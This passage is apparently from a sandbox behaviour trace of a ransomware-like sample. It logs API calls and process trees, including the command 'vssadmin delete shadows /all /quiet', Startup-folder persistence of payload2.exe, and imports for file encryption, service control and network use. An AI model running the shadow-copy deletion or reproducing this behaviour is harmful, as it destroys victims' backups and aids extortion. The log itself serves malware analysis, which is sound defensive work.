(_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.913] GetProcessHeap () returned 0x290000 [0032.913] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0032.913] GetProcessHeap () returned 0x290000 [0032.913] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0032.913] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f300*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f2b0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x18f2b0*(hProcess=0x50, hThread=0x54, dwProcessId=0x99c, dwThreadId=0x9a0)) returned 1 [0032.929] CloseHandle (hObject=0x54) returned 1 [0032.929] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0032.929] GetProcessHeap () returned 0x290000 [0032.929] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0032.929] GetEnvironmentStringsW () returned 0x2aeb10* [0032.929] GetProcessHeap () returned 0x290000 [0032.929] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2af630 [0032.929] FreeEnvironmentStringsW (penv=0x2aeb10) returned 1 [0032.929] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x18ebb8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ebb8, ReturnLength=0x0) returned 0x0 [0032.929] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x18ebf0, nSize=0x380, lpNumberOfBytesRead=0x18ebb0 | out: lpBuffer=0x18ebf0*, lpNumberOfBytesRead=0x18ebb0*=0x380) returned 1 [0032.929] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4dc20000" os_pid = "0x98c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x940" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0x990 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4db4a000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x940" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x9a0 Thread: id = 21 os_tid = 0x9ac Thread: id = 22 os_tid = 0x9b0 Thread: id = 23 os_tid = 0x9b4 Thread: id = 24 os_tid = 0x9b8 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4a686000" os_pid = "0x9c0" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x99c" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00078fa8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0x9ec Thread: id = 28 os_tid = 0x9e0 Thread: id = 29 os_tid = 0x9d4 Thread: id = 30 os_tid = 0x9d0 [0041.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf5d690 | out: lpSystemTimeAsFileTime=0xf5d690*(dwLowDateTime=0xc0ce77b0, dwHighDateTime=0x1d543f6)) [0041.065] GetCurrentProcessId () returned 0x9c0 [0041.065] GetCurrentThreadId () returned 0x9d0 [0041.065] GetTickCount () returned 0x19f4a [0041.065] QueryPerformanceCounter (in: lpPerformanceCount=0xf5d698 | out: lpPerformanceCount=0xf5d698*=16133266617) returned 1 [0041.065] malloc (_Size=0x100) returned 0x5d8e80 Thread: id = 31 os_tid = 0x9cc Thread: id = 32 os_tid = 0x9c8 Thread: id = 33 os_tid = 0x9c4 Thread: id = 34 os_tid = 0xa74 Thread: id = 49 os_tid = 0xa8c Thread: id = 56 os_tid = 0xb40 Thread: id = 80 os_tid = 0x6a8 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 35 os_tid = 0xa50 Thread: id = 36 os_tid = 0x4f0 Thread: id = 37 os_tid = 0x76c Thread: id = 38 os_tid = 0x758 Thread: id = 39 os_tid = 0x74c Thread: id = 40 os_tid = 0x72c Thread: id = 41 os_tid = 0x71c Thread: id = 42 os_tid = 0x718 Thread: id = 43 os_tid = 0x638 Thread: id = 44 os_tid = 0x154 Thread: id = 45 os_tid = 0x150 Thread: id = 46 os_tid = 0x12c Thread: id = 47 os_tid = 0x120 Thread: id = 48 os_tid = 0x3fc Thread: id = 57 os_tid = 0xb94 Thread: id = 78 os_tid = 0xbf4 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4678b000" os_pid = "0xa78" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9c0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00079f30" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 50 os_tid = 0xa94 Thread: id = 51 os_tid = 0xa90 Thread: id = 52 os_tid = 0xa88 Thread: id = 53 os_tid = 0xa84 Thread: id = 54 os_tid = 0xa80 Thread: id = 55 os_tid = 0xa7c Thread: id = 81 os_tid = 0x4a4 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 58 os_tid = 0xa54 Thread: id = 59 os_tid = 0x8b0 Thread: id = 60 os_tid = 0x864 Thread: id = 61 os_tid = 0x844 Thread: id = 62 os_tid = 0x754 Thread: id = 63 os_tid = 0x704 Thread: id = 64 os_tid = 0x6e0 Thread: id = 65 os_tid = 0x6b0 Thread: id = 66 os_tid = 0x698 Thread: id = 67 os_tid = 0x678 Thread: id = 68 os_tid = 0x630 Thread: id = 69 os_tid = 0x610 Thread: id = 70 os_tid = 0x14c Thread: id = 71 os_tid = 0x140 Thread: id = 72 os_tid = 0x158 Thread: id = 73 os_tid = 0x294 Thread: id = 74 os_tid = 0x218 Thread: id = 75 os_tid = 0x230 Thread: id = 76 os_tid = 0x21c Thread: id = 77 os_tid = 0x1c4 Thread: id = 79 os_tid = 0xbf8 Thread: id = 82 os_tid = 0x128 Process: id = "9" image_name = "payload2.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe" page_root = "0x750f4000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e619" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 83 os_tid = 0x560 [0262.230] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77410000 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetProcAddress") returned 0x77421222 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetModuleHandleW") returned 0x774234b0 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="FindNextFileW") returned 0x774254ee [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="FindClose") returned 0x77424442 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="MoveFileW") returned 0x77439af0 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetFileSizeEx") returned 0x774259e2 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetModuleFileNameW") returned 0x77424950 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetFileAttributesW") returned 0x77421b18 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="ExitProcess") returned 0x77427a10 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetCommandLineW") returned 0x77425223 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetComputerNameW") returned 0x7742dd0e [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="GetComputerNameA") returned 0x7743b6e0 [0262.231] GetProcAddress (hModule=0x77410000, lpProcName="CreateMutexW") returned 0x7742424c [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="lstrlenW") returned 0x77421700 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="lstrlenA") returned 0x77425a4b [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="GetCurrentProcess") returned 0x77421809 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="WaitForSingleObject") returned 0x77421136 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="GetLogicalDrives") returned 0x77425371 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="GetTickCount") returned 0x7742110c [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="DeleteFileW") returned 0x774289b3 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="WideCharToMultiByte") returned 0x7742170d [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77421916 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="Sleep") returned 0x774210ff [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="LeaveCriticalSection") returned 0x77bf2270 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="ReadFile") returned 0x77423ed3 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="CreateFileW") returned 0x77423f5c [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="OpenMutexW") returned 0x77425151 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="EnterCriticalSection") returned 0x77bf22b0 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="WaitForMultipleObjects") returned 0x77424220 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="lstrcmpiW") returned 0x7743d5cd [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="lstrcmpiA") returned 0x77423e8e [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="DeleteCriticalSection") returned 0x77c045f5 [0262.232] GetProcAddress (hModule=0x77410000, lpProcName="ReleaseMutex") returned 0x7742111e [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CloseHandle") returned 0x77421410 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="GetVersion") returned 0x77424467 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CreateThread") returned 0x774234d5 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="ExpandEnvironmentStringsW") returned 0x77424173 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="QueryPerformanceCounter") returned 0x77421725 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="QueryPerformanceFrequency") returned 0x774241f0 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="GetCurrentProcessId") returned 0x774211f8 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="SetFileAttributesW") returned 0x7743d4f7 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="GetVolumeInformationW") returned 0x7743c860 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="WriteFile") returned 0x77421282 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="SetFilePointerEx") returned 0x7743c807 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="SetEndOfFile") returned 0x7743ce2e [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="FindFirstFileW") returned 0x77424435 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="GetProcessHeap") returned 0x774214e9 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="HeapReAlloc") returned 0x77c11f6e [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="HeapAlloc") returned 0x77bfe026 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="HeapFree") returned 0x774214c9 [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CreatePipe") returned 0x774a415b [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="SetHandleInformation") returned 0x7743195c [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CreateProcessW") returned 0x7742103d [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CompareStringW") returned 0x77423bca [0262.233] GetProcAddress (hModule=0x77410000, lpProcName="CompareStringA") returned 0x77423c5a [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="OpenProcess") returned 0x77421986 [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="TerminateProcess") returned 0x7743d802 [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="GetSystemTime") returned 0x77425a96 [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="SystemTimeToFileTime") returned 0x77425a7e [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="GetLastError") returned 0x774211c0 [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="CreateToolhelp32Snapshot") returned 0x7744735f [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="Process32NextW") returned 0x7744896c [0262.234] GetProcAddress (hModule=0x77410000, lpProcName="Process32FirstW") returned 0x77448baf [0262.234] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x770f0000 [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="RegOpenKeyExW") returned 0x7710468d [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="RegQueryValueExW") returned 0x771046ad [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="RegSetValueExW") returned 0x771014d6 [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="RegCloseKey") returned 0x7710469d [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="OpenProcessToken") returned 0x77104304 [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="GetTokenInformation") returned 0x7710431c [0262.241] GetProcAddress (hModule=0x770f0000, lpProcName="OpenSCManagerW") returned 0x770fca64 [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="OpenServiceW") returned 0x770fca4c [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="CloseServiceHandle") returned 0x7710369c [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="ControlService") returned 0x77117144 [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="QueryServiceStatus") returned 0x77102a86 [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="EnumDependentServicesW") returned 0x770f1e3a [0262.242] GetProcAddress (hModule=0x770f0000, lpProcName="EnumServicesStatusExW") returned 0x770fb466 [0262.242] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0262.251] GetProcAddress (hModule=0x758a0000, lpProcName="SystemParametersInfoW") returned 0x758b90d3 [0262.251] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76190000 [0262.254] GetProcAddress (hModule=0x76190000, lpProcName="ShellExecuteExW") returned 0x761b1e46 [0262.254] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bd0000 [0262.254] GetProcAddress (hModule=0x77bd0000, lpProcName="NtQuerySystemInformation") returned 0x77befda0 [0262.254] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73790000 [0263.120] GetProcAddress (hModule=0x73790000, lpProcName="WNetCloseEnum") returned 0x73792dd6 [0263.120] GetProcAddress (hModule=0x73790000, lpProcName="WNetOpenEnumW") returned 0x73792f06 [0263.120] GetProcAddress (hModule=0x73790000, lpProcName="WNetEnumResourceW") returned 0x73793058 [0263.120] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bf0000 [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="WSAStartup") returned 0x75bf3ab2 [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="socket") returned 0x75bf3eb8 [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="send") returned 0x75bf6f01 [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="recv") returned 0x75bf6b0e [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="connect") returned 0x75bf6bdd [0263.121] GetProcAddress (hModule=0x75bf0000, lpProcName="closesocket") returned 0x75bf3918 [0263.122] GetProcAddress (hModule=0x75bf0000, lpProcName="gethostbyname") returned 0x75c07673 [0263.122] GetProcAddress (hModule=0x75bf0000, lpProcName="inet_addr") returned 0x75bf311b [0263.122] GetProcAddress (hModule=0x75bf0000, lpProcName="ntohl") returned 0x75bf2d57 [0263.122] GetProcAddress (hModule=0x75bf0000, lpProcName="htonl") returned 0x75bf2d57 [0263.122] GetProcAddress (hModule=0x75bf0000, lpProcName="htons") returned 0x75bf2d8b [0263.122] GetProcessHeap () returned 0x570000 [0263.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x584220 [0263.122] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6902067151) returned 1 [0263.122] GetTickCount () returned 0x64ab [0263.122] GetCurrentProcessId () returned 0x55c [0263.122] GetTickCount () returned 0x64ab [0263.122] GetTickCount () returned 0x64ab [0263.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x584248 [0263.122] GetVersion () returned 0x1db10106 [0263.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573830 [0263.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580d50 [0263.122] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580d50, Size=0x20) returned 0x584298 [0263.122] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584298, Size=0x40) returned 0x584830 [0263.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x584aa8 [0263.123] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QA") returned 0x84 [0263.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573830 | out: hHeap=0x570000) returned 1 [0263.123] lstrlenW (lpString="Global\\syncronize_") returned 18 [0263.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584830 | out: hHeap=0x570000) returned 1 [0263.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573830 [0263.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580d50 [0263.123] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580d50, Size=0x20) returned 0x584298 [0263.123] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584298, Size=0x40) returned 0x584830 [0263.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x594ab0 [0263.123] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QU") returned 0x88 [0263.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573830 | out: hHeap=0x570000) returned 1 [0263.123] lstrlenW (lpString="Global\\syncronize_") returned 18 [0263.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584830 | out: hHeap=0x570000) returned 1 [0263.123] GetVersion () returned 0x1db10106 [0263.123] GetCurrentProcess () returned 0xffffffff [0263.123] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0263.123] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0263.123] CloseHandle (hObject=0x8c) returned 1 [0263.123] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0263.123] ExitProcess (uExitCode=0x0) Process: id = "10" image_name = "payload2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe" page_root = "0x74627000" os_pid = "0x564" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e619" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x568 [0262.527] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77410000 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetProcAddress") returned 0x77421222 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetModuleHandleW") returned 0x774234b0 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="FindNextFileW") returned 0x774254ee [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="FindClose") returned 0x77424442 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="MoveFileW") returned 0x77439af0 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetFileSizeEx") returned 0x774259e2 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetModuleFileNameW") returned 0x77424950 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetFileAttributesW") returned 0x77421b18 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="ExitProcess") returned 0x77427a10 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetCommandLineW") returned 0x77425223 [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetComputerNameW") returned 0x7742dd0e [0262.528] GetProcAddress (hModule=0x77410000, lpProcName="GetComputerNameA") returned 0x7743b6e0 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="CreateMutexW") returned 0x7742424c [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="lstrlenW") returned 0x77421700 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="lstrlenA") returned 0x77425a4b [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="GetCurrentProcess") returned 0x77421809 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="WaitForSingleObject") returned 0x77421136 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="GetLogicalDrives") returned 0x77425371 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="GetTickCount") returned 0x7742110c [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="DeleteFileW") returned 0x774289b3 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="WideCharToMultiByte") returned 0x7742170d [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77421916 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="Sleep") returned 0x774210ff [0262.529] GetProcAddress 